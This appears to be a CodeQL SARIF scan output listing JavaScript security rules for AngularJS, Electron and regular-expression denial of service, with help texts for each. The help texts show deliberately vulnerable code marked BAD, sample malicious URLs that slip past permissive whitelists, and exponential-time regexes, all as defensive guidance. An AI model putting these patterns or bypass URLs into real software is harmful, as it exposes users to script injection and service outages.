{"$schema":"https://json.schemastore.org/sarif-2.1.0.json","version":"2.1.0","runs":[{"tool":{"driver":{"name":"CodeQL","organization":"GitHub","semanticVersion":"2.25.6","notifications":[{"id":"cli/expected-extracted-files/javascript","name":"cli/expected-extracted-files/javascript","shortDescription":{"text":"Expected extracted files"},"fullDescription":{"text":"Files appearing in the source archive that are expected to be extracted."},"defaultConfiguration":{"enabled":true},"properties":{"tags":["expected-extracted-files","telemetry"],"languageDisplayName":"JavaScript"}},{"id":"cli/expected-extracted-files/actions","name":"cli/expected-extracted-files/actions","shortDescription":{"text":"Expected extracted files"},"fullDescription":{"text":"Files appearing in the source archive that are expected to be extracted."},"defaultConfiguration":{"enabled":true},"properties":{"tags":["expected-extracted-files","telemetry"],"languageDisplayName":"GitHub Actions"}},{"id":"codeql-action/git-version-telemetry","name":"codeql-action/git-version-telemetry","shortDescription":{"text":"Git version telemetry"},"fullDescription":{"text":"Git version telemetry"},"defaultConfiguration":{"enabled":true}},{"id":"codeql-action/overlay-disabled","name":"codeql-action/overlay-disabled","shortDescription":{"text":"Overlay analysis disabled"},"fullDescription":{"text":"Overlay analysis disabled"},"defaultConfiguration":{"enabled":true}},{"id":"codeql-action/zstd-availability","name":"codeql-action/zstd-availability","shortDescription":{"text":"Zstandard availability"},"fullDescription":{"text":"Zstandard availability"},"defaultConfiguration":{"enabled":true}}],"rules":[]},"extensions":[{"name":"codeql/javascript-queries","semanticVersion":"2.3.11+1a82a682e9750929a11872d8456ff91e90fc6352","notifications":[{"id":"js/diagnostics/successfully-extracted-files","name":"js/diagnostics/successfully-extracted-files","shortDescription":{"text":"Extracted files"},"fullDescription":{"text":"Lists all files in the source code directory that were extracted."},"defaultConfiguration":{"enabled":true},"properties":{"tags":["successfully-extracted-files"],"description":"Lists all files in the source code directory that were extracted.","id":"js/diagnostics/successfully-extracted-files","kind":"diagnostic","name":"Extracted files"}},{"id":"js/diagnostics/extraction-errors","name":"js/diagnostics/extraction-errors","shortDescription":{"text":"Extraction errors"},"fullDescription":{"text":"List all extraction errors for files in the source code directory."},"defaultConfiguration":{"enabled":true},"properties":{"description":"List all extraction errors for files in the source code directory.","id":"js/diagnostics/extraction-errors","kind":"diagnostic","name":"Extraction errors"}}],"rules":[{"id":"js/angular/insecure-url-whitelist","name":"js/angular/insecure-url-whitelist","shortDescription":{"text":"Insecure URL whitelist"},"fullDescription":{"text":"URL whitelists that are too permissive can cause security vulnerabilities."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Insecure URL whitelist\nAngularJS uses filters to ensure that the URLs used for sourcing AngularJS templates and other script-running URLs are safe. One such filter is a whitelist of URL patterns to allow.\n\nA URL pattern that is too permissive can cause security vulnerabilities.\n\n\n## Recommendation\nMake the whitelist URL patterns as restrictive as possible.\n\n\n## Example\nThe following example shows an AngularJS application with whitelist URL patterns that all are too permissive.\n\n\n```javascript\nangular.module('myApp', [])\n    .config(function($sceDelegateProvider) {\n        $sceDelegateProvider.resourceUrlWhitelist([\n            \"*://example.org/*\", // BAD\n            \"https://**.example.com/*\", // BAD\n            \"https://example.**\", // BAD\n            \"https://example.*\" // BAD\n        ]);\n    });\n\n```\nThis is problematic, since the four patterns match the following malicious URLs, respectively:\n\n* `javascript://example.org/a%0A%0Dalert(1)` (`%0A%0D` is a linebreak)\n* `https://evil.com/?ignore=://example.com/a`\n* `https://example.evil.com`\n* `https://example.evilTld`\n\n## References\n* OWASP/Google presentation: [Securing AngularJS Applications](https://www.owasp.org/images/6/6e/Benelus_day_20161125_S_Lekies_Securing_AngularJS_Applications.pdf)\n* AngularJS Developer Guide: [Format of items in resourceUrlWhitelist/Blacklist](https://docs.angularjs.org/api/ng/service/$sce#resourceUrlPatternItem).\n* Common Weakness Enumeration: [CWE-183](https://cwe.mitre.org/data/definitions/183.html).\n* Common Weakness Enumeration: [CWE-625](https://cwe.mitre.org/data/definitions/625.html).\n","markdown":"# Insecure URL whitelist\nAngularJS uses filters to ensure that the URLs used for sourcing AngularJS templates and other script-running URLs are safe. One such filter is a whitelist of URL patterns to allow.\n\nA URL pattern that is too permissive can cause security vulnerabilities.\n\n\n## Recommendation\nMake the whitelist URL patterns as restrictive as possible.\n\n\n## Example\nThe following example shows an AngularJS application with whitelist URL patterns that all are too permissive.\n\n\n```javascript\nangular.module('myApp', [])\n    .config(function($sceDelegateProvider) {\n        $sceDelegateProvider.resourceUrlWhitelist([\n            \"*://example.org/*\", // BAD\n            \"https://**.example.com/*\", // BAD\n            \"https://example.**\", // BAD\n            \"https://example.*\" // BAD\n        ]);\n    });\n\n```\nThis is problematic, since the four patterns match the following malicious URLs, respectively:\n\n* `javascript://example.org/a%0A%0Dalert(1)` (`%0A%0D` is a linebreak)\n* `https://evil.com/?ignore=://example.com/a`\n* `https://example.evil.com`\n* `https://example.evilTld`\n\n## References\n* OWASP/Google presentation: [Securing AngularJS Applications](https://www.owasp.org/images/6/6e/Benelus_day_20161125_S_Lekies_Securing_AngularJS_Applications.pdf)\n* AngularJS Developer Guide: [Format of items in resourceUrlWhitelist/Blacklist](https://docs.angularjs.org/api/ng/service/$sce#resourceUrlPatternItem).\n* Common Weakness Enumeration: [CWE-183](https://cwe.mitre.org/data/definitions/183.html).\n* Common Weakness Enumeration: [CWE-625](https://cwe.mitre.org/data/definitions/625.html).\n"},"properties":{"tags":["security","frameworks/angularjs","external/cwe/cwe-183","external/cwe/cwe-625"],"description":"URL whitelists that are too permissive can cause security vulnerabilities.","id":"js/angular/insecure-url-whitelist","kind":"problem","name":"Insecure URL whitelist","precision":"very-high","problem.severity":"warning","security-severity":"7.5"}},{"id":"js/angular/disabling-sce","name":"js/angular/disabling-sce","shortDescription":{"text":"Disabling SCE"},"fullDescription":{"text":"Disabling strict contextual escaping (SCE) can cause security vulnerabilities."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Disabling SCE\nAngularJS is secure by default through automated sanitization and filtering of untrusted values that could cause vulnerabilities such as XSS. Strict Contextual Escaping (SCE) is an execution mode in AngularJS that provides this security mechanism.\n\nDisabling SCE in an AngularJS application is strongly discouraged. It is even more discouraged to disable SCE in a library, since it is an application-wide setting.\n\n\n## Recommendation\nDo not disable SCE.\n\n\n## Example\nThe following example shows an AngularJS application that disables SCE in order to dynamically construct an HTML fragment, which is later inserted into the DOM through `$scope.html`.\n\n\n```javascript\nangular.module('app', [])\n    .config(function($sceProvider) {\n        $sceProvider.enabled(false); // BAD\n    }).controller('controller', function($scope) {\n        // ...\n        $scope.html = '<ul><li>' + item.toString() + '</li></ul>';\n    });\n\n```\nThis is problematic, since it disables SCE for the entire AngularJS application.\n\nInstead, just mark the dynamically constructed HTML fragment as safe using `$sce.trustAsHtml`, before assigning it to `$scope.html`:\n\n\n```javascript\nangular.module('app', [])\n    .controller('controller', function($scope, $sce) {\n        // ...\n        // GOOD (but should use the templating system instead)\n        $scope.html = $sce.trustAsHtml('<ul><li>' + item.toString() + '</li></ul>'); \n    });\n\n```\nPlease note that this example is for illustrative purposes only; use the AngularJS templating system to dynamically construct HTML when possible.\n\n\n## References\n* AngularJS Developer Guide: [Strict Contextual Escaping](https://docs.angularjs.org/api/ng/service/$sce)\n* AngularJS Developer Guide: [Can I disable SCE completely?](https://docs.angularjs.org/api/ng/service/$sce#can-i-disable-sce-completely-).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n","markdown":"# Disabling SCE\nAngularJS is secure by default through automated sanitization and filtering of untrusted values that could cause vulnerabilities such as XSS. Strict Contextual Escaping (SCE) is an execution mode in AngularJS that provides this security mechanism.\n\nDisabling SCE in an AngularJS application is strongly discouraged. It is even more discouraged to disable SCE in a library, since it is an application-wide setting.\n\n\n## Recommendation\nDo not disable SCE.\n\n\n## Example\nThe following example shows an AngularJS application that disables SCE in order to dynamically construct an HTML fragment, which is later inserted into the DOM through `$scope.html`.\n\n\n```javascript\nangular.module('app', [])\n    .config(function($sceProvider) {\n        $sceProvider.enabled(false); // BAD\n    }).controller('controller', function($scope) {\n        // ...\n        $scope.html = '<ul><li>' + item.toString() + '</li></ul>';\n    });\n\n```\nThis is problematic, since it disables SCE for the entire AngularJS application.\n\nInstead, just mark the dynamically constructed HTML fragment as safe using `$sce.trustAsHtml`, before assigning it to `$scope.html`:\n\n\n```javascript\nangular.module('app', [])\n    .controller('controller', function($scope, $sce) {\n        // ...\n        // GOOD (but should use the templating system instead)\n        $scope.html = $sce.trustAsHtml('<ul><li>' + item.toString() + '</li></ul>'); \n    });\n\n```\nPlease note that this example is for illustrative purposes only; use the AngularJS templating system to dynamically construct HTML when possible.\n\n\n## References\n* AngularJS Developer Guide: [Strict Contextual Escaping](https://docs.angularjs.org/api/ng/service/$sce)\n* AngularJS Developer Guide: [Can I disable SCE completely?](https://docs.angularjs.org/api/ng/service/$sce#can-i-disable-sce-completely-).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"},"properties":{"tags":["security","maintainability","frameworks/angularjs","external/cwe/cwe-116"],"description":"Disabling strict contextual escaping (SCE) can cause security vulnerabilities.","id":"js/angular/disabling-sce","kind":"problem","name":"Disabling SCE","precision":"very-high","problem.severity":"warning","security-severity":"7.8"}},{"id":"js/angular/double-compilation","name":"js/angular/double-compilation","shortDescription":{"text":"Double compilation"},"fullDescription":{"text":"Recompiling an already compiled part of the DOM can lead to unexpected behavior of directives, performance problems, and memory leaks."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Double compilation\nThe AngularJS compiler processes (parts of) the DOM, determining which directives match which DOM elements, and then applies the directives to the elements. Each DOM element should only be compiled once, otherwise unexpected behavior may result.\n\n\n## Recommendation\nOnly compile new DOM elements.\n\n\n## Example\nThe following example (adapted from the AngularJS developer guide) shows a directive that adds a tooltip to a DOM element, and then compiles the entire element to apply nested directives.\n\n\n```javascript\nangular.module('myapp')\n       .directive('addToolTip', function($compile) {\n  return {\n    link: function(scope, element, attrs) {\n      var tooltip = angular.element('<span ng-show=\"showToolTip\">A tooltip</span>');\n      tooltip.on('mouseenter mouseleave', function() {\n        scope.$apply('showToolTip = !showToolTip');\n      });\n      element.append(tooltip);\n      $compile(element)(scope); // NOT OK\n    }\n  };\n});\n\n```\nThis is problematic, since it will recompile all of `element`, including parts that have already been compiled.\n\nInstead, only the new element should be compiled:\n\n\n```javascript\nangular.module('myapp')\n       .directive('addToolTip', function($compile) {\n  return {\n    link: function(scope, element, attrs) {\n      var tooltip = angular.element('<span ng-show=\"showToolTip\">A tooltip</span>');\n      tooltip.on('mouseenter mouseleave', function() {\n        scope.$apply('showToolTip = !showToolTip');\n      });\n      element.append(tooltip);\n      $compile(tooltip)(scope); // OK\n    }\n  };\n});\n\n```\n\n## References\n* AngularJS Developer Guide: [Double Compilation, and how to avoid it](https://docs.angularjs.org/guide/compiler#double-compilation-and-how-to-avoid-it).\n* Common Weakness Enumeration: [CWE-1176](https://cwe.mitre.org/data/definitions/1176.html).\n","markdown":"# Double compilation\nThe AngularJS compiler processes (parts of) the DOM, determining which directives match which DOM elements, and then applies the directives to the elements. Each DOM element should only be compiled once, otherwise unexpected behavior may result.\n\n\n## Recommendation\nOnly compile new DOM elements.\n\n\n## Example\nThe following example (adapted from the AngularJS developer guide) shows a directive that adds a tooltip to a DOM element, and then compiles the entire element to apply nested directives.\n\n\n```javascript\nangular.module('myapp')\n       .directive('addToolTip', function($compile) {\n  return {\n    link: function(scope, element, attrs) {\n      var tooltip = angular.element('<span ng-show=\"showToolTip\">A tooltip</span>');\n      tooltip.on('mouseenter mouseleave', function() {\n        scope.$apply('showToolTip = !showToolTip');\n      });\n      element.append(tooltip);\n      $compile(element)(scope); // NOT OK\n    }\n  };\n});\n\n```\nThis is problematic, since it will recompile all of `element`, including parts that have already been compiled.\n\nInstead, only the new element should be compiled:\n\n\n```javascript\nangular.module('myapp')\n       .directive('addToolTip', function($compile) {\n  return {\n    link: function(scope, element, attrs) {\n      var tooltip = angular.element('<span ng-show=\"showToolTip\">A tooltip</span>');\n      tooltip.on('mouseenter mouseleave', function() {\n        scope.$apply('showToolTip = !showToolTip');\n      });\n      element.append(tooltip);\n      $compile(tooltip)(scope); // OK\n    }\n  };\n});\n\n```\n\n## References\n* AngularJS Developer Guide: [Double Compilation, and how to avoid it](https://docs.angularjs.org/guide/compiler#double-compilation-and-how-to-avoid-it).\n* Common Weakness Enumeration: [CWE-1176](https://cwe.mitre.org/data/definitions/1176.html).\n"},"properties":{"tags":["reliability","frameworks/angularjs","security","external/cwe/cwe-1176"],"description":"Recompiling an already compiled part of the DOM can lead to\n              unexpected behavior of directives, performance problems, and memory leaks.","id":"js/angular/double-compilation","kind":"problem","name":"Double compilation","precision":"very-high","problem.severity":"warning","security-severity":"8.8"}},{"id":"js/enabling-electron-insecure-content","name":"js/enabling-electron-insecure-content","shortDescription":{"text":"Enabling Electron allowRunningInsecureContent"},"fullDescription":{"text":"Enabling allowRunningInsecureContent can allow remote code execution."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Enabling Electron allowRunningInsecureContent\nElectron is secure by default through a policy banning the execution of content loaded over HTTP. Setting the `allowRunningInsecureContent` property of a `webPreferences` object to `true` will disable this policy.\n\nEnabling the execution of insecure content is strongly discouraged.\n\n\n## Recommendation\nDo not enable the `allowRunningInsecureContent` property.\n\n\n## Example\nThe following example shows `allowRunningInsecureContent` being enabled.\n\n\n```javascript\nconst mainWindow = new BrowserWindow({\n  webPreferences: {\n    allowRunningInsecureContent: true\n  }\n})\n```\nThis is problematic, since it allows the execution of code from an untrusted origin.\n\n\n## References\n* Electron Documentation: [Security, Native Capabilities, and Your Responsibility](https://electronjs.org/docs/tutorial/security#8-do-not-set-allowrunninginsecurecontent-to-true)\n* Common Weakness Enumeration: [CWE-494](https://cwe.mitre.org/data/definitions/494.html).\n","markdown":"# Enabling Electron allowRunningInsecureContent\nElectron is secure by default through a policy banning the execution of content loaded over HTTP. Setting the `allowRunningInsecureContent` property of a `webPreferences` object to `true` will disable this policy.\n\nEnabling the execution of insecure content is strongly discouraged.\n\n\n## Recommendation\nDo not enable the `allowRunningInsecureContent` property.\n\n\n## Example\nThe following example shows `allowRunningInsecureContent` being enabled.\n\n\n```javascript\nconst mainWindow = new BrowserWindow({\n  webPreferences: {\n    allowRunningInsecureContent: true\n  }\n})\n```\nThis is problematic, since it allows the execution of code from an untrusted origin.\n\n\n## References\n* Electron Documentation: [Security, Native Capabilities, and Your Responsibility](https://electronjs.org/docs/tutorial/security#8-do-not-set-allowrunninginsecurecontent-to-true)\n* Common Weakness Enumeration: [CWE-494](https://cwe.mitre.org/data/definitions/494.html).\n"},"properties":{"tags":["security","frameworks/electron","external/cwe/cwe-494"],"description":"Enabling allowRunningInsecureContent can allow remote code execution.","id":"js/enabling-electron-insecure-content","kind":"problem","name":"Enabling Electron allowRunningInsecureContent","precision":"very-high","problem.severity":"error","security-severity":"8.8"}},{"id":"js/disabling-electron-websecurity","name":"js/disabling-electron-websecurity","shortDescription":{"text":"Disabling Electron webSecurity"},"fullDescription":{"text":"Disabling webSecurity can cause critical security vulnerabilities."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Disabling Electron webSecurity\nElectron is secure by default through a same-origin policy requiring all JavaScript and CSS code to originate from the machine running the Electron application. Setting the `webSecurity` property of a `webPreferences` object to `false` will disable the same-origin policy.\n\nDisabling the same-origin policy is strongly discouraged.\n\n\n## Recommendation\nDo not disable `webSecurity`.\n\n\n## Example\nThe following example shows `webSecurity` being disabled.\n\n\n```javascript\nconst mainWindow = new BrowserWindow({\n  webPreferences: {\n    webSecurity: false\n  }\n})\n```\nThis is problematic, since it allows the execution of insecure code from other domains.\n\n\n## References\n* Electron Documentation: [Security, Native Capabilities, and Your Responsibility](https://electronjs.org/docs/tutorial/security#5-do-not-disable-websecurity)\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n","markdown":"# Disabling Electron webSecurity\nElectron is secure by default through a same-origin policy requiring all JavaScript and CSS code to originate from the machine running the Electron application. Setting the `webSecurity` property of a `webPreferences` object to `false` will disable the same-origin policy.\n\nDisabling the same-origin policy is strongly discouraged.\n\n\n## Recommendation\nDo not disable `webSecurity`.\n\n\n## Example\nThe following example shows `webSecurity` being disabled.\n\n\n```javascript\nconst mainWindow = new BrowserWindow({\n  webPreferences: {\n    webSecurity: false\n  }\n})\n```\nThis is problematic, since it allows the execution of insecure code from other domains.\n\n\n## References\n* Electron Documentation: [Security, Native Capabilities, and Your Responsibility](https://electronjs.org/docs/tutorial/security#5-do-not-disable-websecurity)\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n"},"properties":{"tags":["security","frameworks/electron","external/cwe/cwe-079"],"description":"Disabling webSecurity can cause critical security vulnerabilities.","id":"js/disabling-electron-websecurity","kind":"problem","name":"Disabling Electron webSecurity","precision":"very-high","problem.severity":"error","security-severity":"6.1"}},{"id":"js/redos","name":"js/redos","shortDescription":{"text":"Inefficient regular expression"},"fullDescription":{"text":"A regular expression that requires exponential time to match certain inputs can be a performance bottleneck, and may be vulnerable to denial-of-service attacks."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Inefficient regular expression\nSome regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *n<sup>k</sup>* or even *2<sup>n</sup>*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service (\"DoS\") attack by crafting an expensive input string for the regular expression to match.\n\nThe regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower.\n\nTypically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references.\n\n\n## Recommendation\nModify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter.\n\n\n## Example\nConsider this regular expression:\n\n```javascript\n\n/^_(__|.)+_$/\n```\nIts sub-expression `\"(__|.)+?\"` can match the string `\"__\"` either by the first alternative `\"__\"` to the left of the `\"|\"` operator, or by two repetitions of the second alternative `\".\"` to the right. Thus, a string consisting of an odd number of underscores followed by some other character will cause the regular expression engine to run for an exponential amount of time before rejecting the input.\n\nThis problem can be avoided by rewriting the regular expression to remove the ambiguity between the two branches of the alternative inside the repetition:\n\n```javascript\n\n/^_(__|[^_])+_$/\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).\n* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](https://arxiv.org/abs/1301.0849).\n* Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n","markdown":"# Inefficient regular expression\nSome regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *n<sup>k</sup>* or even *2<sup>n</sup>*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service (\"DoS\") attack by crafting an expensive input string for the regular expression to match.\n\nThe regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower.\n\nTypically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references.\n\n\n## Recommendation\nModify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter.\n\n\n## Example\nConsider this regular expression:\n\n```javascript\n\n/^_(__|.)+_$/\n```\nIts sub-expression `\"(__|.)+?\"` can match the string `\"__\"` either by the first alternative `\"__\"` to the left of the `\"|\"` operator, or by two repetitions of the second alternative `\".\"` to the right. Thus, a string consisting of an odd number of underscores followed by some other character will cause the regular expression engine to run for an exponential amount of time before rejecting the input.\n\nThis problem can be avoided by rewriting the regular expression to remove the ambiguity between the two branches of the alternative inside the repetition:\n\n```javascript\n\n/^_(__|[^_])+_$/\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).\n* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](https://arxiv.org/abs/1301.0849).\n* Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"},"properties":{"tags":["security","external/cwe/cwe-1333","external/cwe/cwe-730","external/cwe/cwe-400"],"description":"A regular expression that requires exponential time to match certain inputs\n              can be a performance bottleneck, and may be vulnerable to denial-of-service\n              attacks.","id":"js/redos","kind":"problem","name":"Inefficient regular expression","precision":"high","problem.severity":"error","security-severity":"7.5"}},{"id":"js/polynomial-redos","name":"js/polynomial-redos","shortDescription":{"text":"Polynomial regular expression used on uncontrolled data"},"fullDescription":{"text":"A regular expression that can require polynomial time to match may be vulnerable to denial-of-service attacks."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Polynomial regular expression used on uncontrolled data\nSome regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *n<sup>k</sup>* or even *2<sup>n</sup>*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service (\"DoS\") attack by crafting an expensive input string for the regular expression to match.\n\nThe regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower.\n\nTypically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references.\n\n\n## Recommendation\nModify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter.\n\n\n## Example\nConsider this use of a regular expression, which removes all leading and trailing whitespace in a string:\n\n```javascript\n\ntext.replace(/^\\s+|\\s+$/g, ''); // BAD\n```\nThe sub-expression `\"\\s+$\"` will match the whitespace characters in `text` from left to right, but it can start matching anywhere within a whitespace sequence. This is problematic for strings that do **not** end with a whitespace character. Such a string will force the regular expression engine to process each whitespace sequence once per whitespace character in the sequence.\n\nThis ultimately means that the time cost of trimming a string is quadratic in the length of the string. So a string like `\"a b\"` will take milliseconds to process, but a similar string with a million spaces instead of just one will take several minutes.\n\nAvoid this problem by rewriting the regular expression to not contain the ambiguity about when to start matching whitespace sequences. For instance, by using a negative look-behind (`/^\\s+|(?<!\\s)\\s+$/g`), or just by using the built-in trim method (`text.trim()`).\n\nNote that the sub-expression `\"^\\s+\"` is **not** problematic as the `^` anchor restricts when that sub-expression can start matching, and as the regular expression engine matches from left to right.\n\n\n## Example\nAs a similar, but slightly subtler problem, consider the regular expression that matches lines with numbers, possibly written using scientific notation:\n\n```javascript\n\n/^0\\.\\d+E?\\d+$/.test(str) // BAD\n```\nThe problem with this regular expression is in the sub-expression `\\d+E?\\d+` because the second `\\d+` can start matching digits anywhere after the first match of the first `\\d+` if there is no `E` in the input string.\n\nThis is problematic for strings that do **not** end with a digit. Such a string will force the regular expression engine to process each digit sequence once per digit in the sequence, again leading to a quadratic time complexity.\n\nTo make the processing faster, the regular expression should be rewritten such that the two `\\d+` sub-expressions do not have overlapping matches: `^0\\.\\d+(E\\d+)?$`.\n\n\n## Example\nSometimes it is unclear how a regular expression can be rewritten to avoid the problem. In such cases, it often suffices to limit the length of the input string. For instance, the following regular expression is used to match numbers, and on some non-number inputs it can have quadratic time complexity:\n\n```javascript\n\n/^(\\+|-)?(\\d+|(\\d*\\.\\d*))?(E|e)?([-+])?(\\d+)?$/.test(str) // BAD\n```\nIt is not immediately obvious how to rewrite this regular expression to avoid the problem. However, you can mitigate performance issues by limiting the length to 1000 characters, which will always finish in a reasonable amount of time.\n\n```javascript\n\nif (str.length > 1000) {\n    throw new Error(\"Input too long\");\n}\n\n/^(\\+|-)?(\\d+|(\\d*\\.\\d*))?(E|e)?([-+])?(\\d+)?$/.test(str)\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).\n* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](https://arxiv.org/abs/1301.0849).\n* Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n","markdown":"# Polynomial regular expression used on uncontrolled data\nSome regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *n<sup>k</sup>* or even *2<sup>n</sup>*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service (\"DoS\") attack by crafting an expensive input string for the regular expression to match.\n\nThe regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower.\n\nTypically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references.\n\n\n## Recommendation\nModify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter.\n\n\n## Example\nConsider this use of a regular expression, which removes all leading and trailing whitespace in a string:\n\n```javascript\n\ntext.replace(/^\\s+|\\s+$/g, ''); // BAD\n```\nThe sub-expression `\"\\s+$\"` will match the whitespace characters in `text` from left to right, but it can start matching anywhere within a whitespace sequence. This is problematic for strings that do **not** end with a whitespace character. Such a string will force the regular expression engine to process each whitespace sequence once per whitespace character in the sequence.\n\nThis ultimately means that the time cost of trimming a string is quadratic in the length of the string. So a string like `\"a b\"` will take milliseconds to process, but a similar string with a million spaces instead of just one will take several minutes.\n\nAvoid this problem by rewriting the regular expression to not contain the ambiguity about when to start matching whitespace sequences. For instance, by using a negative look-behind (`/^\\s+|(?<!\\s)\\s+$/g`), or just by using the built-in trim method (`text.trim()`).\n\nNote that the sub-expression `\"^\\s+\"` is **not** problematic as the `^` anchor restricts when that sub-expression can start matching, and as the regular expression engine matches from left to right.\n\n\n## Example\nAs a similar, but slightly subtler problem, consider the regular expression that matches lines with numbers, possibly written using scientific notation:\n\n```javascript\n\n/^0\\.\\d+E?\\d+$/.test(str) // BAD\n```\nThe problem with this regular expression is in the sub-expression `\\d+E?\\d+` because the second `\\d+` can start matching digits anywhere after the first match of the first `\\d+` if there is no `E` in the input string.\n\nThis is problematic for strings that do **not** end with a digit. Such a string will force the regular expression engine to process each digit sequence once per digit in the sequence, again leading to a quadratic time complexity.\n\nTo make the processing faster, the regular expression should be rewritten such that the two `\\d+` sub-expressions do not have overlapping matches: `^0\\.\\d+(E\\d+)?$`.\n\n\n## Example\nSometimes it is unclear how a regular expression can be rewritten to avoid the problem. In such cases, it often suffices to limit the length of the input string. For instance, the following regular expression is used to match numbers, and on some non-number inputs it can have quadratic time complexity:\n\n```javascript\n\n/^(\\+|-)?(\\d+|(\\d*\\.\\d*))?(E|e)?([-+])?(\\d+)?$/.test(str) // BAD\n```\nIt is not immediately obvious how to rewrite this regular expression to avoid the problem. However, you can mitigate performance issues by limiting the length to 1000 characters, which will always finish in a reasonable amount of time.\n\n```javascript\n\nif (str.length > 1000) {\n    throw new Error(\"Input too long\");\n}\n\n/^(\\+|-)?(\\d+|(\\d*\\.\\d*))?(E|e)?([-+])?(\\d+)?$/.test(str)\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).\n* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](https://arxiv.org/abs/1301.0849).\n* Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).\n* Common Weakness Enumeration: 